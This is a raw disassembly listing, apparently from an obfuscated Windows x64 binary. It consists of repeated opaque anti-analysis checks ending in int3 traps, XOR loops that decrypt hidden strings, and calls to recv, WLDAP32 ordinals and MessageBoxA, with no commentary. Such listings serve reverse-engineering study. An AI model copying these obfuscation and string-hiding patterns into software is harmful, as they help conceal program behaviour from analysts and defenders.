mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032e38
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032e38
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032e58
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140101fd0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x140101f40]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xc1d98a3c
mov dword [rbp + 0xbec], 0x97cf877d
mov dword [rbp + 0xbf0], 0xc027af60
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.140040cfc
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x140032ea6
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140015d18
mov rax, qword gs:[0x23]
cmp rax, r12
mov esi, 0x748af5
jne 0x140032fa3
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032f83
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032f83
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032fa3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x14003304d
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003302d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003302d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003304d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
lea rcx, [rbp + 0x9f8]
call fcn.1400314f8
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140015e28
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.140041db4
lea rcx, [rbp + 0x9f8]
call fcn.140041cf0
lea rcx, [rbp + 0x9f8]
call fcn.140016338
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140033156
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033136
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033136
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033156
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140033211
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400331f1
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400331f1
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033211
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov dword [rbp - 0x68], 0xf4f734d4
mov word [rbp - 0x64], 0x2528
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
lea ebx, [rax + 6]
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140040c90
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, rbx
jb 0x14003322e
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0xf4f726cd
mov word [rbp - 0x54], 0x2528
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
mov esi, 0x748af5
mov r15d, 0xd7e3c967
mov qword [rsp + 0x20], r15
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140040c90
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, rbx
jb 0x140033279
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140042024
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.1400419fc
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.140041b50
lea rcx, [rbp - 0x68]
call fcn.140015e80
mov rcx, rax
call fcn.140015e28
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14004183c
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.140041b50
lea rdx, [0x14012aa20]
lea rcx, [rbp + 0xa78]
call fcn.1400419fc
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.140041b50
lea rcx, [rbp + 0xa78]
call fcn.140041cf0
lea rcx, [rbp + 0xa78]
call fcn.140016338
lea rcx, [rbp + 0xa58]
call fcn.140041cf0
lea rcx, [rbp + 0xa58]
call fcn.140016338
lea rcx, [rbp + 0xa38]
call fcn.140041cf0
lea rcx, [rbp + 0xa38]
call fcn.140016338
mov rax, qword gs:[0x23]
cmp rax, r12
movabs r15, 0xf652601fe2ce4f18
jne 0x14003342a
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003340a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003340a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003342a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400334d4
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400334b4
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400334b4
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400334d4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
lea rcx, [rbp + 0x1208]
call fcn.140041664
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400a7a80
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400335ab
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003358b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003358b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400335ab
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140033655
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033635
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033635
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033655
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140015dd0
lea rcx, [rbp + 0x10e8]
call fcn.140041d8c
nop
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x14003371c
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400336fc
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400336fc
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003371c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400337d9
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400337b9
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400337b9
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400337d9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
lea rcx, [rbp + 0x11e8]
call fcn.140041664
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140031068
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400338a4
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033884
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033884
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400338a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov dword [rbp + 0x1e0], 0x55908b05
mov dword [rbp + 0x1e4], 0x90acc8aa
mov dword [rbp + 0x1e8], 0x755a77c4
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
mov ebx, 0xd7e3c967
mov qword [rsp + 0x20], rbx
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.140040c20
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x1400338d2
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140042340
test al, al
je 0x140033e86
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400339d2
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400339b2
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400339b2
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400339d2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102010]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x160f0b23
mov word [rbp + 0x7cc], 0x74b7
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140040b44
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x140033a00
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x140101ff0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1401021c0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x140101ea0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1401021b0]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x140102110]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x140102040]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x140102000]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x140102150]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x258b078f
mov word [rbp + 0xde4], 0xf73b
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov ebx, 0x86
mov r15d, 0xd7e3c967
mov qword [rsp + 0x20], r15
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140040bb0
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x140033ae4
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rax, qword gs:[0x23]
cmp rax, r12
movabs r15, 0xf652601fe2ce4f18
jne 0x140033bed
mov rcx, qword gs:[0x24]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x24]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x24]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033bcd
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033bcd
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033bed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140033caa
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033c8a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033c8a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033caa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
cmp edi, r13d
je 0x1400408d1
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140033d5d
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033d3d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033d3d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033d5d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140101e70]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1401021a0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x140101e60]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
mov ebx, 0xd7e3c967
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140040ad8
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140033d95
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.1400aafac
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140033e86
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033e66
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033e66
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033e86
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
mov edi, 0x3d48e68f
mov ebx, 0x3d68809f
cmp rax, r12
jne 0x140033f47
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140033f27
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140033f27
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140033f47
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.140041bac
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140031640
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.140041a88
lea rcx, [rbp + 0xab8]
call fcn.140041cf0
lea rcx, [rbp + 0xab8]
call fcn.140016338
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x14003403a
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003401a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003401a
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003403a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400340f3
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400340d3
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400340d3
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400340f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140041d60
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400341ab
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003418b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003418b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400341ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140034264
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034244
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034244
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034264
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400ab41c
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140034332
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140034312
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140034312
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140034332
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400343dc
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400343bc
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400343bc
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400343dc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x14003448d
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003446d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003446d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003448d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
test rbx, rbx
je 0x1400405b8
cmp qword [rbp + 0x10f8], r14
je 0x1400405b8
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140034557
mov rax, qword gs:[0x24]
